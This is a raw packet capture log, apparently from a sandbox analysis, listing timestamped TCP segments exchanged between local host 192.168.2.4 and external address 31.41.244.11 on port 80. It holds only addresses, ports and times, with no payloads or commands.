Dec 19, 2024 20:11:41.330487013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.330539942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.330681086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.330877066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.331496000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.331626892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.331672907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.332649946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.332690001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.333096981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.333137035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.333782911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.333861113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.333905935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.334918976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.334968090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.334994078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.335031986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.336056948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.336107969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.336193085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.336249113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.337311983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.337383986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.337531090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.337737083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.338262081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.338314056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.338478088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.338541985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.339376926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.339437008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.339468956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.339504004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.340559006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.340631962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.341160059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.341221094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.341617107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.341671944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.474795103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.474873066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.474988937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.475157976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.475370884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.475425959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.475485086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.475526094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.476572990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.476625919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.476999998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.477051020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.477628946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.477683067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.478194952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.478245974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.478723049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.478770018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.479090929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.479140043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.479969025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.480022907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.480146885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.480211020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.480992079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.481038094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.481210947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.481254101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.482156038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.482217073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.482683897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.482743979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.483258009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.483319044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.483488083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.483539104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.484406948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.484457970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.484517097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.485271931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.485501051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.485559940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.485908031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.485969067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.486620903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.486671925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.487216949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.487266064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.487783909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.487797976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.487833023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.487848043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.488894939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.488943100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.489567041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.489613056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.490020990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.490071058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.490135908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.490308046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.491137028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.491187096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.491238117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.491393089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.492288113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.492336035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.492408037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.492495060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.493506908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.493554115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.493689060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.493792057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.494730949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.494786978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.495352030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.495408058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.495778084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.495791912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.495836020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.497164965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.497210979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.497680902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.497734070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.498625994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.498752117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.498850107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.498960018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.499742985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.499798059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.500101089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.500174046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.500897884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.500999928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.501048088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.501714945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.501777887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.502047062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.502767086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.502825022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.503022909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.503074884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.503745079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.503798008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.503976107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.504028082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.504870892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.504991055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.505309105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.505364895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.506174088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.506230116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.506341934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.506386995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.507298946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.507353067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.507421017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.507469893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.508533955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.508589983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.508763075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.508821011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.509639025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.509790897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.509820938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.509835958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.510648966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.510710001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.510725021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.510767937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.511568069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.511780977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.512072086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.512118101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.512568951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.512639999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.513667107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.513679028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.513737917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.513923883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.514318943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.514946938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.515011072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.515047073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.515084028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.515860081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.515911102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.516005039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.516069889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.516973972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.517231941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.517283916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.518136024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.518321991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.518378973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.519222975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.519279003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.519516945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.519607067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.520386934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.520450115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.520700932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.520749092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.521486998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.521528959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.521703005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.521744013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.522599936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.522667885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.522757053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.522802114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.523864985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.523924112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.523941040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.523988008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.525060892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.525115013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.525192976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.525240898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.526242018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.526297092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.526382923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.526426077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.527499914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.527523041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.527551889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.527575016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.528429985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.528645039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.529454947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.529470921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.529510021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.529525995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.529618025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.530343056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.530478001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.530523062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.530894041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.530991077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.531629086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.531687975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.531821966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.531881094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.532721043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.532895088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.532953024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.533811092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.533871889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.667256117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.667363882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.667606115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.667717934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.667753935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.667767048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.667855978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.668905973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.668967962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.668979883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.669097900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.669970036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.670078993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.670284986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.670367956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.671109915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.671324015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.671370029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.671401978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.672210932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.672274113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.673523903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.673540115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.673629999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.673665047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.673747063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.674483061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.674623966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.675190926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.675271034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.675627947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.675740004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.676059961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.676175117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.676737070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.676979065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.677907944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.677920103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.678009033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.678149939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.678277969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.678957939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.679045916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.679050922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.679130077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.680138111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.680216074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.680244923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.680274010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.681256056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.681338072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.681376934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.681546926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.682370901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.682446957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.682615995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.682687044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.683521032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.683595896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.683979988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.684046984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.684673071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.684768915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.684798956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.684876919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.685719967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.685925007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.686104059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.686184883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.686863899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.686935902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.687066078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.687212944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.687962055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.688010931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.688143969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.688242912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.689085960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.689176083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.689199924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.689249992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.690179110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.690263033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.690290928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.690361977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.691320896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.691395044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.691488028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.691745996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.692446947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.692502975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:41.692912102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:41.693022013 CET	49842	80	192.168.2.4	31.41.244.11
